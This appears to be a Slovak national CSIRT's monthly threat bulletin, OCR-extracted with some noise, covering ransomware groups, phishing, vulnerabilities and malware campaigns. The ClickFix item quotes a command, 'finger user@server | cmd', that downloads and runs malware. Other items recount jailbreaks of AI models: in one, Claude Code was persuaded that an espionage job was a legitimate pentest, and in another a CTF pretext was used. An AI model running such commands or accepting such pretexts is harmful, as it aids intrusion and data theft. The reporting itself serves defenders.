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Aktudlna kampan APT skupiny
Qilin zasahuje aj Slovensko

Na Uzemi Slovenskej Republiky evidujeme Utoky
ransomvérovej skupiny Quilin v oblasti energetiky a
verejnej spravy.

Europol a OCTK v ramci Operation
Endgame rozlozili infrastrukturu
malvéru Rhadamanthys,
VenomRAT a Elysium

Bezpecnostné zlozky z Europolu, Eurojustu a partneri
z cybersecurity od 10. do13. novembra 2025
uskutocnili medzinarodnu raziu v ramci akcie Operation
Endgame, pri ktorej rozlozili infrastruktdru troch
sucasnych vyznamnych hrozieb — infostealeru
Rhadamanthys, trojana VenomRAT a botnetu Elysium.

Scattered Lapsus$ Hunters
pripravuju ransomware-as-a-
service sluzbu SHINYSP1D3R

Uto€né skupiny SHINYHUNTERS a SCATTERED SPIDER
dokoncuju ransomware-as-a-service platformu
SHINYSP1D3R.

Kybernetickym
rezonovalo hned niekolko kfU¢ovych udalosti a
utokov. Doplnujuce informacie mdzete najst v Casti
Vyznamné udalosti vo svete.
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Masivna kampan ClickFix
cielena na hotely a zakaznikov
booking.com Siri infostealer
Purerat

Vyskumnici odhalili, Ze rozsiahla phishingova kampan
cielena na hotelovy sektor od aprila 2025 zneuZiva
taktiku zndmu ako ClickFix. Utoénici sa vydavaju za
sluzby ako Booking.com alebo Expedia.

Cloudflare 18. Novembra 2025
zaznamenal globalny vypadok
sluzieb

Spolo¢nost  Cloudflare  zaZila rozsiahly globalny
vypadok, ktory spdsobil nedostupnost webového
obsahu pre mnoho pouZivatelov a zasiahol aj jej
pouzivatelské rozhranie a rozhranie API. Po niekolkych
hodindch sa sluzby zacali obnovovat a Cloudflare
potvrdila, Ze pocet chyb klesol a prevadzka sa vratila do
normalu.

Bezpecnostné firmy varuju pred
rizikami sviatocnych nakupov

DARKTRACE, FLASHPOINT, FORCEPOINT, FORTINET,
RECORDED FUTURE a ZIMPERIUM v suvislosti s
nakupnou horuckou pocas sviatocného obdobia
zverejnili prehlad suvisiacich hrozieb.


https://www.cloudflarestatus.com/incidents/8gmgl950y3h7
https://www.cloudflarestatus.com/incidents/8gmgl950y3h7
https://www.virustotal.com/gui/file/3bf53cddf7eb98d9cb94f9aa9f36c211a464e2c1b278f091d6026003050281de/summary
https://www.bleepingcomputer.com/news/security/meet-shinysp1d3r-new-ransomware-as-a-service-created-by-shinyhunters/
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NA SLOVENSKU A Z NASEJ CINNOSTI

V ramci svojej beznej ¢innosti CSIRT.SK v mesiaci november riesil typicky najma phishingové kampane
zasahujuce jeho konstituenciu. Vyskytli sa tiez pripady kompromitovanych e-mailovych Ucétov
zamestnancov verejnych institlcii, z ktorych Gtocnici rozposielali phishingové e-maily na dalsie
organizacie v konstituencii CSIRT.SK.

Podobne ako vo februari a juli, aj v novembri beZala phishingova kampan zneuzivajica meno Vseobecnej
zdravotnej poistovne. Vladna jednotka CSIRT bola sucinna pri analyze zachytenych vzoriek podvodnych
e-mailov a kontaktovani spravcov hostingu, kde bol podvodny obsah umiestneny, s cielom dosiahnut
jeho odstranenie. Indikdtory kompromitdcie zaroven poskytla agentire NASES pre zablokovanie
Skodlivych zdrojov v ramci siete Govnet.

CSIRT.SK riesila pripad prevzatej webovej domény, ktora v minulosti patrila organizacii v jej konstituencii.
Zasiahnuta organizacia poziadala o pomoc pri zruseni webu a odstraneni obsahu, nad ktorym stratila
kontrolu. Utoénik, ktory doménu prevzal, na nej propagoval nelegalne online kasina a hazardné hry.
Pouzival ju tiez na Sirenie Skodlivého kodu, ktory po kompromitdacii obete ukradol citlivé Udaje alebo
zaradil zariadenie do botnetu. Jednotka kontaktovala spravcu hostingu s poZiadavkou odstranenia
nemanazovanej webovej stranky. Tento pripad poukazuje na délezitost spravnych postupov sanitizacie
pri ukoncovani prevadzky IT sluZieb.

Dodrziavanie dobrej praxe je samozrejme doélezité aj pri sluzbach v aktivnej prevadzke. Jednou
kategdriou je zakazanie verejného pristupu ku administrativnym rozhraniam a citlivych funkcionalit
webovych sluzieb. Partner v novembri informoval CSIRT.SK o podozrivej aktivite smerujicej na webovu
stranku v Govnete. Aktivita bola vyhodnotend ako Utok hrubou silou na rozhranie /xmlirpc.php. Jednotka
preverila uvedenu aktivitu s cielom odhalit potencidlne Uspesné prihlasenia. Spolu s partnerom poskytli
zasiahnutej organizacii zistenia a odporucania na zabezpecenie webovej stranky. Organizacia nasledne
zabezpecdila, aby citlivé komponenty webstranky neboli dostupné z internetu.

V rdmci v€asného varovania rozposlala jednotka informaciu o ziskani zoznamu uniknutych prihlasovacich
Udajov z Uniku "Operation Endgame 3.0". Odporucila kontaktovat zasiahnutych pouZivatelov a vykonat
potrebné opatrenia pre minimalizovanie rizika zneuZitia ich Uctov. Tieto zahffiali zmeny hesiel viade, kde
dané pracovné e-mailové adresy pouZili pri registracii a vykonanie kontroly ich zariadeni antimalvérovym
rieSenim. Pre prehlad o Unikoch prihlasovacich Udajov spojenych s VaSou doménou alebo konkrétnym
sukromnym Uctom odporucame vyuZivat sluzbu Have | Been Pwned, alebo alternativy s dobrou
reputdciou.

Jednotka CSIRT.SK v novembri prijala od partnera informacie o aktivne zneuZivanej bezpecnostnej
zranitelnosti v produkte Fortinet FortiWeb, ktord vtom case nemala prideleny identifikdtor CVE.
Bezpecnostnu chybu mohol vzdialeny neautentifikovany Utocnik zneuzit zaslanim Specidlne vytvorenych
poziadaviek HTTP POST na vytvorenie novych administratorskych Uctov a ziskanie Uplnej kontroly nad
systémom. Zranitelné systémy sa nachadzali vo viacerych organizaciach v konstituencii VJ CSIRT. Jednotka
organizacie kontaktovala s upozornenim, poziadala o informacie o vykonanych protiopatreniach a
vysledkoch preverenia potencidlneho zneuzitia.


https://csirt.sk/wp-content/uploads/2025/04/Navod-HIBP.pdf
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CSIRT.SK prijala v novembri tiez hlasenie fyzickej osoby o firme, ktord sprostredkovavala viza a pracu
v Kanade. Jej ¢innost nahlasila ako pokus o podvod. Na zdklade poskytnutych a analyzou ziskanych
informacii odporucila jednotka v zmysle prislusnych ustanoveni podanie trestného ozndmenia a poskytla
podrobné informacie ako postupovat v takomto pripade. Upozornila aj na generované podvodné
reklamy, ktoré nahlasovatel nasiel na sieti Facebook.

V ramci svojej proaktivnej ¢innosti jednotka CSIRT.SK vykondva pravidelné skenovanie a overovanie
zranitelnosti v sluzbach a zariadeniach IT infrastruktur organizacii vo svojej konstituencii, ktoré su
vystavené do internetu. VyuZiva k tomu platformu Achilles, ktord sama vyvija a prevadzkuje. Systém
Achilles sluzi tiez na monitoring dostupnosti webovych domén, ktord monitoruje modul Domino.

V novembri CSIRT.SK ploSne varoval svoju konstituenciu ohfadom zranitefnosti CVE-2025-55754 a CVE-
2025-55752 platformy Apache Tomcat, ktoré dovolovali Uto¢nikom vzdialene vykonavat administrativne
prikazy a Skodlivy kod. Pre zranitelnosti je verejne dostupny kod demonstrujuci ich zneuzitie.

VJ CSIRT v rdmci v€asného varovania zaslala informaciu o zozname uniknutych Gctov s ndzvom "Synthient
Credential Stuffing Threat Data Data Breach". V rdmci tohto Uniku bolo identifikovanych viac neZ 100
domén z verejného sektora. Zdroje Uniku neboli zrejmé, preto jednotka odporucala kontaktovat
zasiahnutych pouzivatelov a zmenit ich prihlasovacie heslad vSade, kam sa s ich pracovnym e-mailom
registrovali. Porovnanie s predchadzajucimi dnikmi odhalilo, 7e mnohé zdznamy boli jedine¢né a
nachadzali sa len v najnovsom Uniku.

CSIRT.SK v ramci preventivnych cCinnosti organizuje aj vzdeldvanie v oblasti kybernetickej
bezpecnosti pre zamestnancov organizacii verejnej a Statnej spravy, ako aj pre Studentov strednych
skél. V novembri jednotka prezentovala rbézne témy z oblasti kybernetickej bezpecnosti pre
zamestnancov Narodného institdtu pre hodnotu a technolégie v zdravotnictve a Kanceldrie najvyssieho
spravneho sudu SR. Predndsala tiez Studentom Hotelovej akadémie v Kosiciach a Studentom a ucitelom
na Univerzite Mateja Bela v Banskej Bystrici. Podielala sa aj na online gkolen{ KC KB pre UPJS, kde boli
odskolené kybertimy strednych $kél na tému Povolania v kybernetickej bezpecnosti.

V ramci gkoliacich aktivit prebehlo v Bratislave a v Kogiciach u? druhé $kolenie prisluinikov PZ SR. Skolenie
bolo zamerané na tému OSINT, pricom si Ucastnici okrem teoretickej ¢asti mohli prakticky vyskusat aj
vyhladavanie informacii z otvorenych zdrojov. Druhou témou $kolenia bolo zaistovanie dokazovych
digitalnych stop v réznych praktickych scenaroch, a to aj za pritomnosti sidnych znalcov.

Clenovia timu CSIRT.SK sa v novembri zU&astnili konferencie ITAPA a vyro¢ného stretnutia Asociacie
strednych odbornych $kél Slovenska, kde predstavili ich riaditelom sluZby, ktoré bezodplatne poskytuju
aj tymto verejnym institdciam.

V) CSIRT poskytuje tiez Skolenia a cviCenia pre svoju konstituenciu v ramci vycvikového strediska
Kyberaréna.



https://portal.ccvapp.upjs.sk/activity/kckb-a6-cyberteams
https://www.itapa.sk/data/att/72d/12831.cd931d.pdf
https://kyberportal.slovensko.sk/aktuality/csirtsk-na-v%C3%BDro%C4%8Dnom-stretnut%C3%AD-asoci%C3%A1cie-stredn%C3%BDch-odborn%C3%BDch-%C5%A1k%C3%B4l-sr/
https://asoss.sk/csirt-sk/
https://kyberarena.csirt.sk/
https://kyberarena.csirt.sk/
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VYZNAMNE UDALOSTI VO SVETE

Uto€nici zneuzivaju nastroje RMM
na kompromitaciu prepravnych
spolocnosti a kradez tovarov

Spolo¢nost  Proofpoint zverejnila informacie o sofistikovanej
phishingovej kampani cielenej na prepravné spoloc¢nosti, ktord ma
za ciel inStaldciu legitimnych rieseni RMM (Remote Monitoring and
Management) za Ucelom sledovania a kradeze nakladu a tovarov.
Kampan, v ktorej utocnici inStaluju aplikacie ScreenConnect,
SimpleHelp, PDQ Connect, Fleetdeck, N-able a LogMeln, je aktivna
minimdlne od juna 2025. Phishingové e-maily rozposielaju z
kompromitovanych e-mailovych schranok dopravnych spolo¢nosti.
Su vizudlne a tematicky prepracované. Utoénici ¢asto odpovedaju na
historické spravy. Ciefom je obet prostrednictvom socidlneho
inZinierstva naviest na stiahnutie a spustenie MSI instaldtora
nastrojov RMM. Po ziskani pristupu do systému Utocnici skimaju
infrastrukturu obete a prostrednictvom réznych ndstrojov exfiltruju
prihlasovacie Udaje. Okrem RMM bolo pozorované aj nasadenie
infostealerov NetSupport, DanaBot, Lumma Stealer a Stealc.
Utocnici disponuju hlbokymi znalostami sektora a procesov
suvisiacich s prepravou a spolupracuju sinymi kriminalnymi
skupinami. ProofPoint uz v marci 2025 poukazala na zvySeny zaujem
utocnikov o zneufZitie legitimnych nastrojov RMM. Tato taktika
znizuje riziko detekcie a naklady na vyvoj vlastného malvéru.

Aktualna kampan APT skupiny
Qilin zasahuje aj Slovensko

Qilin je v roku 2025 jednou z najaktivnejsich ransomvérovych skupin s
viac ako 40 UspesSnymi Utokmi mesacne. Celkovo bolo v roku 2025
zdokumentovanych viac ako 700 Utokov, pricom najviac zasiahnutym
sektorom je vyroba (23%). Nasleduju profesionalne a vedecké sluzby
(18%) a velkoobchod (10%). Na Uzemi Slovenskej Republiky evidujeme
utoky tejto ransomvérovej skupiny v oblasti energetiky a verejnej
spravy. Upozornujeme aj na to, ze jej primarny ciel (vyrobny sektor)
tvori znaénu sucast nasho hospoddrstva. Prave zdpadné priemyselné
spolo¢nosti, ktoré su ¢astymi cielmi tejto skupiny, maju svoje pobocky
aj na Slovensku. Administratorom odporucame zvysit pozornost na
neobvyklé pristupy cez VPN/RDP, implementovat segmentaciu siete a
obmedzenie pristupu k citlivym systémom. Dalej odporic¢ame
pravidelné aktualizacie systémov a aplikacii a naslednu kontrolu verzii
ovladacov, obzvlast s ohfadom na zneuzivanie zranitelnosti a techniky
BYOVD.

Designed by Freepik


https://www.proofpoint.com/us/blog/threat-insight/remote-access-real-cargo-cybercriminals-targeting-trucking-and-logistics
https://csirt.sk/posts/2950.html
https://csirt.sk/posts/2950.html
https://www.freepik.com/
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Ruska skupina CURLY COMRADES
zneuziva virtualky ALPINE v HYPER-V
na obchadzanie EDR detekcie

Spoloénost Bitdefender zverejnila informacie o novej kampani ruskej
hackerskej skupiny Curly Comrades, v ramci ktorej Utocnici
zneuzivaju HYPER-V na obchadzanie rieSeni EDR na zariadeniach s
operacnym systémom Windows. Po prieniku do systému Utocnici
spustili prikazy pre aktivaciu komponentu Hyper-V a deaktivaciu
jeho manaZzmentového rozhrania. Nasledne prostrednictvom
hypervizora vytvorili virtudlny stroj so systémom Alpine Linux so
sietovym adaptérom Default Switch oznaceny ako WSL. V fiom
spustaju reverzny shell CurlyShell a reverzné proxy CurlCat.
CurlyShell umoZziiuje komunikovat s riadiacim serverom a slUzi na
vykondvanie  prikazov, pricom  perzistenciu  zabezpecuje
prostrednictvom uloh cron. CurlCat slUZi na vytvorenie SOCKS proxy
tunela, ktory umozniuje maskovanie prevadzky SSH do HTTPS
poziadaviek. Okrem uvedenych ndstrojov skupina pouZila aj dva
Specidlne vytvorené skripty PowerShell. Prvy slUzil na injekciu tiketov
Kerberos do LSASS, ¢o umoziovalo autentifikdciu na vzdialenych
systémoch a vykonavanie prikazov. Druhy wvytvaral lokalne
pouzivatelské Ucty na zariadeniach v rovnakej doméne. Kampan
cielila na vladne a pravne subjekty v Gruzinsku a energetické firmy v
Moldavsku. Cely postup zneuZival nedokonalost sietovej inSpekcie

4 ~ rieSeni EDR, ktoré sa Specializuji na monitoring hostitelského
Designed by Freepik zariadenia.

Utoé&nici zneuZivaju GEMINI Al na vytvorenie
metamorfického VBS droppera PROMPTFLUX

Tim GTIG zverejnil analyzu nového VBS (Visual Basic Script) droppera
PROMPTFLUX, ktory za ucelom obfuskdacie a zamedzenia detekcie na
baze signatur zneuZiva APl rozhranie Gemini na ,just-in-time*
modifikaciu svojho zdrojového kodu. Malvér obsahuje aj komponent
Thinking Robot, ktory v pravidelnych intervaloch svoj kéd modifikuje
prostrednictvom modelu Gemini 1.5. Modifikované verzie su za
Ucelom zabezpecenia perzistencie ukladané do priecinka Windows
Startup a malvér sa dalej Siri na sietové Uloziska a prenosné média.
Zaznamenané boli aj verzie instruujuce Al na prepisanie celého kodu
so zachovanim poévodnej funkcionality. Samotné APl klUce su
napevno zavedené v kode. Cielom Utocnikov je vytvorenie
metamorfického skriptu, ktory sa sam vyvija v ¢ase. GTIG vydal aj
prehlad sposobov zneuZitia Al zo strany Stdtom sponzorovanych
aktérov z Ruska, Severnej Koérei, Ciny a Irdnu. Bezpe&nostné
mechanizmy modelov Al Utocnici obchadzaju sofistikovanymi
technikami, ktoré neustdle inovuju. Nedavno bola zaznamenana aj
technika zaloZzena na tematike Ucasti na CTF cviceni. __Designed by Freepi



https://businessinsights.bitdefender.com/curly-comrades-evasion-persistence-hidden-hyper-v-virtual-machines
https://businessinsights.bitdefender.com/curly-comrades-evasion-persistence-hidden-hyper-v-virtual-machines
https://cloud.google.com/blog/topics/threat-intelligence/threat-actor-usage-of-ai-tools
https://www.freepik.com/
https://www.freepik.com/
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SONICWALL pripisuje unik cloudovych zaloh
z portalu MYSONICWALL Statom
sponzorovanym utocnikom

Spolo¢nost  SonicWall oznamila, Z7e v _septembri doslo k
bezpecnostnému incidentu kde $tatom sponzorovany aktér ziskal
pristup  ku konfigurdciam firewallov ulozenym v cloude
prostrednictvom sluzby MySonicWall. SonicWall uviedla, Ze utok
neovplyvnil jej produkty, firmvér, zdrojovy kdd ani zakaznicke siete.
Utoénik mohol ziskat citlivé Gdaje (napr. pristupové tdaje ¢i tokeny),
ktoré by mohli umozZnit neskorsie kompromitovanie zakaznickych
firewallov. Zakaznici by sa mali prihlasit do portdlu MySonicWall.com
a skontrolovat svoje zariadenia. Na zjednodusSenie suvisiacich ukonov
su k dispozicii aj nastroje Online Analysis Tool a Credentials Reset
Tool, ktoré taktiez mozno vyuzit na identifikdciu ohrozenych
Designed by Freepik zariaden/ a reset hesiel.

SHADOWSERVER eviduje vyse
34000 Cisco ASA a FTD so zranitelnostami e M _f
CVE-2025-20333 a CVE-2025-20362 : M .

B

Spolo¢nost Shadowserver celosvetovo eviduje vySe 34 000
firewallov Cisco ASA a FTD obsahujucich zranitelnosti CVE-2025-
20333 a CVE-2025-20362. Zretazenim uvedenych zranitelnosti
mozno ziskat Uplnu kontrolu nad systémom, ¢o aktivne zneuZivali
Utocnici za Sirenie shellcode loadera LINE DANCER a zadnych vratok
LINE RUNNER. Cisco 5. novembra 2025 zverejnila informacie o
alternativnom spésobe zneuZitia zranitelnosti na vyvolanie restartu
zariadeni veduceho k znepristupneniu sluzby.

Masivna cielena kampan CLICKFIX
Siri infostealer PURERAT

Vyskumnici odhalili, Ze rozsiahla phishingova kampan cielend na
hotelovy sektor od aprila 2025 zneuziva taktiku znamu ako ClickFix.
Utocnici sa vydavaju za sluzby ako Booking.com alebo Expedia.
Posielaju spravy hotelovym manazérom, presmerovavaju ich na
falosSné stranky s ,overenim®, aby si v prikazovom riadku spustili
skript. Nasledne pomocou techniky DLL side loadingu nainstaluju
malvér PureRAT s funkcionalitou ovladania kldvesnice, webkamery a
mikrofénu, snimania klaves a vzdialenej exekucie prikazov a kodu.
Uto&nici kompromituju extranetové UGty Booking.com, z ktorych
ziskavaju a predavaju data na ciernom trhu. Pritom vyuzZivaju tiez
videoinstrukcie, ¢asovace, sledovanie OS a automatické kopirovanie
prikazov do clipboardu, ¢im zvySuju Uspesnost Utokov.



https://www.sonicwall.com/blog/cloud-backup-security-incident-investigation-complete-and-strengthened-cyber-resilience
https://www.sonicwall.com/blog/cloud-backup-security-incident-investigation-complete-and-strengthened-cyber-resilience
https://dashboard.shadowserver.org/statistics/combined/time-series/?date_range=30&source=http_vulnerable&source=http_vulnerable6&tag=cve-2025-20333%2B&tag=cve-2025-20362%2B&dataset=unique_ips&limit=100&group_by=geo&stacking=stacked&auto_update=on
https://dashboard.shadowserver.org/statistics/combined/time-series/?date_range=30&source=http_vulnerable&source=http_vulnerable6&tag=cve-2025-20333%2B&tag=cve-2025-20362%2B&dataset=unique_ips&limit=100&group_by=geo&stacking=stacked&auto_update=on
https://blog.sekoia.io/phishing-campaigns-i-paid-twice-targeting-booking-com-hotels-and-customers/
https://blog.sekoia.io/phishing-campaigns-i-paid-twice-targeting-booking-com-hotels-and-customers/
https://www.freepik.com/
https://www.freepik.com/
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Honeypot AMAZON MADPOQOT zachytil nového
APT aktéra zneuzivajuceho zrantelnosti
v Citrix Netscaler a Cisco ISE

Vyskumnici z Amazon Threat Intelligence zistili, Ze skupina Utocnikov
zneuZila dve zdvaZzné zranitelnosti v Citrix NetScaler ADC and Gateway
a Cisco Identity Services Engine (Cisco ISE). Zranitelnost CVE-2025-5777
(Citrix Bleed Two) umozZnovala c¢itanie pamate mimo povolené
hodnoty, ¢im Utoénik mohol ziskat tokeny relacii alebo iné citlivé Udaje
bez autentifikacie. CVE-2025-20337 umoznovala vzdialené vykonanie
kodu s pravami pouzivatela root bez overenia, teda neautentifikovany
utoénik mohol ziskat pInd kontrolu nad zariadenim. Obidve
zranitelhosti boli zneuZivané ako zero-day. Zranitelnhost v Cisco ISE mali
Utocnici zneuzit na ziskanie administratorského pristupu a umiestnenie
vlastného webshellu, ktory bol maskovany ako legitimny komponent.
Webshell bezal priamo v operacnej pamati, injektoval sa do vlakien
zabudovaného serveru Tomcat a zachytdval vSetky HTTP poZiadavky.
Vyskumnici Utocnika povaZzuju za APT skupinu, pretoZe sucasne
disponoval informaciami o viacerych zero-day zranitelnostiach a mal
rozsiahle vedomosti o fungovani danych aplikacii.

Designed by Freepik

EUROPOL a OCTK rozlozili infrastrukturu
RHADAMANTHYS, VENOM RAT a ELYSIUM

Bezpelnostné zlozky z Europolu, Eurojustu a ich partneri uskutocnili
medzindrodnu raziu v ramci akcie Operation Endgame, pri ktorej
rozlozili infrastruktdru troch sucasnych vyznamnych hrozieb —
infostealeru Rhadamanthys, trojana VenomRAT a botnetu Elysium.
Odpojili viac nez 1 025 serverov, zabavili 20 domén a zatkli hlavnu
podozrivi osobu spojent s VenomRAT v Grécku. Infrastruktdra
utocnikov pozostdvajuca z vySe stotisic infikovanych pocitacov
obsahovala miliény ukradnutych prihlasovacich uddajov, pri¢om
hlavny pachatel mal pristup ku viac ako 100 000 krypto penazeniek
potencidlne v hodnote milidnov eur.

Utoénici v rdmci CLICKFIX zneuZivaju zastarany
protokol na stahovanie skodlivého obsahu

Utoénici zneuZivaju zastarany protokol Finger, ktory sa kedysi
pouzival na zistovanie informacii o pouzivateloch, ako je meno,
posledné prihlasenie ¢i domovsky adresar. Teraz ho pouZivaju na
dialkové dorucovanie prikazov do operaénych systémov Windows. V
ramci_malvérovej kampane ClickFix presvedcia obet, aby spustila
prikaz ako ,finger user@server | cmd. Tieto prikazy potom stiahnu a
spustia malvér (napriklad Python infostealer alebo Free RAT
NetSupport Manager). Ako obranu odbornici odporucaju zablokovat
odchadzajucu komunikaciu na TCP port 79, ktory Finger pouZiva.



https://aws.amazon.com/blogs/security/amazon-discovers-apt-exploiting-cisco-and-citrix-zero-days/
https://www.aboutamazon.com/news/aws/amazon-madpot-stops-cybersecurity-crime
https://www.aboutamazon.com/news/aws/amazon-madpot-stops-cybersecurity-crime
https://www.europol.europa.eu/media-press/newsroom/news/end-of-game-for-cybercrime-infrastructure-1025-servers-taken-down
https://www.reddit.com/r/MalwareAnalysis/comments/1osuo87/i_just_fell_for_verify_you_are_human_win_r_what/
https://www.reddit.com/r/MalwareAnalysis/comments/1osuo87/i_just_fell_for_verify_you_are_human_win_r_what/
https://www.freepik.com/
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Cinska APT mala vytvorit Al systém schopny
samostatného vykonu kyberspionaze

Bezpecnostna komunita spochybriuje reporty spolocnosti Anthropic
o aktivnom zneuZivani Claude Code zo strany cinskej Statom
sponzorovanej skupiny GTG-1002. Zneuzita Al mala z vacsej miery
samostatne zrealizovat kybernetickl $pionaZz, ¢o podla odbornej
komunity prekraCuje aktualne moznosti Al. Report obsahuje
vysokoUroviiovy model, ktory mda byt pomocou nastrojov pre
penetracné testovanie a serverov MCP schopny samostatného
vykonu kybernetickych ofenzivnych operacii. Ludsky operator mal
len povolit eskaldciu privilégii a skontrolovat data urcené pre
exfiltraciu. V prvej faze Utocnik zadal ciele a presvedcil model, Ze sa
jedna o opravneny pentest. Pocas druhej fazy Al vykonala sken
infrastruktdry. V tretom kroku tvorila payloady pre overovanie
pritomnosti zranitelnosti a tvorila reporty pre operatora. Stvrty krok
bol zamerany na extrakciu autentifikacnych udajov z konfiguracie, ich
zneuzitie na prienik do systému a zmapovanie internej infrastruktury.
V ramci predposlednej fazy Al vytvarala dopyty pre identifikaciu a
extrakciu citlivych Udajov z databdz. Al priebeh Utoku detailne
dokumentovala a v poslednej faze vytvorila detailny report.
Problémy vSak vzbudzovala halucinacia modelu, ktora ¢asto viedla ku
generovaniu  neexistujucich  prihlasovacich ~ Udajov  alebo
Designed by Freepik nespravnemu oznaceniu citlivych dat.

Aktér IRONERN440 zneuziva v ANYSCALE RAY na
tvorbu samostatne sa propagujuceho botnetu
SHADOWRAY

Vyskumnici spolo¢nosti Oligo zachytili dve viny Utokov, v rdmci
ktorych Utocnici zneuZili zranitelnost CVE-2023-48022 v open source
frameworku na tvorbu a Skdlovanie aplikacii Al a Python, Anyscale
Ray, na vytvdranie samostatne sa propagujuceho botnetu
ShadowRay. Aktér Ironern440 zneuziva skodlivy obsah generovany
Al na kompromitdciu verejne dostupnych inStancii Ray. Vytvoril
Skodlivé Ulohy prostrednictvom rozhrania Jobs API, kde spustal
prikazy a skripty v bash a python. Pri Utokoch zneuZiva orchestraéné
nastroje platformy na laterdine Sirenie malvéru na uzly v clusteri.
Primarnym cielom je tazba kryptomien a vytvorenie reverznych
shellov, pricom zaznamenané boli aj exfiltracia dat a zneuzitie uzlov
na realizaciu DDoS Utokov. Na tazbu Monero vyuZiva XMRig, pricom
blokuje iné kryptominery. Na realizaciu DDoS Utokov vyuziva nastroj
Sockstress.  Vyskumnici identifikovali vySe 230000 verejne
dostupnych instancii. Zatial ¢o prva vina na distribdciu Skodlivych
payloadov zneuZivala Gitlab, druhd vIina zneuZiva GitHub.
Administratori by mali aplikovat odporucania vyrobcu pre
zabezpecenie a hardening instancii a clusterov RAY. Designed by Freepik



http://assets.anthropic.com/m/ec212e6566a0d47/original/Disrupting-the-first-reported-AI-orchestrated-cyber-espionage-campaign.pdf
https://www.anthropic.com/news/disrupting-AI-espionage
https://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet
https://www.anyscale.com/blog/update-on-ray-cve-2023-48022-new-verification-tooling-available
https://github.com/ray-project/ray
https://www.freepik.com/
https://www.freepik.com/
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SCATTERED LAPSUSS HUNTERS pripravuju sluzbu
ransomware-as-a-service SHINYSP1D3R

Hackerské skupiny ShinyHunters a Scattered Spider dokoncuju
ransomware-as-a-service (RaaS) platformu SHINYSP1D3R. Skupiny
Specializované na prienik do systémov, exfiltraciu citlivych Udajov a
nasledné vydieranie obeti doteraz vyuZzivali Sifrova¢ od skupin
ALPHV/Blackcat, Qilin, RansomHub a Dragonforce. Prvé zmienky o
priprave vlastnej RaaS zverejnili na svojom telegramovom kanali
eSte pocas znamej viny Utokov na systémy Salesforce a Jaguar Land
Rover. Novy Sifrova¢ mal byt nahraty do VirusTotal. Analyza
zdrojového kédu ukazuje, Ze je cely Sifrova¢ budovany od nuly a
nedochddza k recykldcii kédu uniknutych Sifrovacov. Sifruje
prostrednictvom algoritmu ChaCha20 s privatnym klucom
chranenym prostrednictvom RSA-2048 a kazdy Sifrovany subor ma
inU priponu. Nasledne do kazdého priecinka umiestni Ziadost
o vykupné (ransomnote) a nastavi pozadie obrazovky. Na zaklade
dostupnych informacii budu okrem verzie pre Windows dostupné aj
verzie pre Linux a ESXi. Skupina vyhlasila, Ze nebude utocit na
organizacie v zdravotnickom sektore, Rusko a Staty CIS.

Samovolne sa Siriaci malvér SHAI-HULUD
pokracuje v kompromitacii a zneuziti NPM
kniznic pre utoky na dodavatelsky retazec

Utocnici infikovali viac ako 500 npm bali¢kov pomocou malvéru Shai-
Hulud, ktory sa zameriava na kradnutie citlivych vyvojarskych a
CI/CD tajomstiev (napr. tokenov GitHub, cloudovych pristupovych
kfiCov). Po instaldcii napajaného balicka sa spusti skript, ktory

vyhladdva a odosiela tajomstva (pomocou malvéru TruffleHog). s . e ue”) add.st
Vytvéra verejné repozitare GitHub s ndzvom Shai-Hulud, kam uklad FARREZ i Geps AT n
Udaje, a zaroven instaluje GitHub Actions Workflows, ktoré tieto tt:.)gifvc(ggsitﬁ:)r} etnfén(arrnniz&?ee&}ic
tajomstva postupne exfiltruju. Malvér sa navyse sprava ako Cerv. Ak h s imEre dSle, (FRERER SN
v prostredi najde dalie npm tokeny, automaticky infikuje bali¢ky, ku g:::g -t

ktorym ma pristup, a infikované ich republikuje. Podla StepSecurity onf sc

su  konkrétne zasiahnuté balicky @zapier/zapier-sdk, zapier-
platform-core, zapier-platform-cli, @zapier/secret-scrubber a iné.

*» atal.om (was @Ot gy ui § vegged

Dalie zdroje uvadzaju, Ze balicky PostHog (napr. posthog-node) a ot (8 g -
Postman (napr. @postman/node-keytar, pm-bin-linux-x64) su tiez SR SR N A At
kompromitované. Bezpecnostni experti odporucaju okamfZite PR T e e L
preinstalovat verzie, rotovat vsetky citlivé kluce (GitHub, cloudové AT . BN e s

platformy, npm) a v Cl vypnut udalosti postinstalacnych sﬁlgiptov.



https://www.virustotal.com/gui/file/3bf53cddf7eb98d9cb94f9aa9f36c211a464e2c1b278f091d6026003050281de/summary
https://www.bleepingcomputer.com/news/security/meet-shinysp1d3r-new-ransomware-as-a-service-created-by-shinyhunters/
https://www.koi.ai/incident/live-updates-sha1-hulud-the-second-coming-hundred-npm-packages-compromised
https://www.stepsecurity.io/blog/sha1-hulud-the-second-coming-zapier-ens-domains-and-other-prominent-npm-packages-compromised
https://www.stepsecurity.io/blog/sha1-hulud-the-second-coming-zapier-ens-domains-and-other-prominent-npm-packages-compromised
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CLOUDFLARE 18. novembra 2025
zaznamenal globalny vypadok sluzieb

Spoloénost Cloudflare zazila rozsiahly globalny vypadok, ktory
sposobil nedostupnost na strane servera pre mnoho pouzivatelov a
zasiahol aj jej pouZivatelské rozhranie a rozhranie API. Po niekolkych
hodinach sa sluzby zacali obnovovat a Cloudflare potvrdila, Zze pocet
chyb klesol a prevadzka sa vratila do normalu. Problém bol
sposobeny chybnou Upravou opravneni databdzového systému,
ktora spbsobila, Ze databazové dopyty vracali nespravne vysledky do
konfiguracného suboru pouzivaného systémom Bot Management.
Systém vygeneroval nadmerne velky konfiguracny subor, ktory
prekrocil povolené limity pre velkost suboru, ¢o sposobilo pad

: : softvéru zodpovedného za smerovanie prevadzky. Jednalo sa o
' Designed by Freepik najhorsi vypadok sluzieb Cloudflare od roku 2019.

Bankovy trojan STURNUS pre Android pomocou
sluzieb dostupnosti Cita obsah sprav

Novy trojsky koén Sturnus pre Android kradne spravy zo
zabezpelenych komunikacnych aplikacii ako Signal, WhatsApp
a Telegram. VyuZziva pri tom nastavenia pristupnosti (Accessibility)
na Ccitanie obsahu, ked sa sprdavy zobrazia na obrazovke po
desifrovani. Okrem toho ovlada zariadenie cez VNC, zobrazuje
falosné bankové obrazovky na kradeZ prihlasovacich uUdajov a
zabrafiuje svojmu odstraneniu zablokovanim odinstalacie. Infekciu
Siri stiahnutie Skodlivych sUborov APK maskovanych ako legitimne
aplikacie. Sturnus sa najviac vyskytuje v strednej a juznej Eurdpe,
pricom jeho architektdra umoZniuje rozsirenie kampani aj do inych
regionov.

W“] ‘ h
l m l % GAINSIGHT potvrdili zneuzitie uniknutych OAuth

tokenov na kompromitaciu inStancii SALESFORCE

&,
o

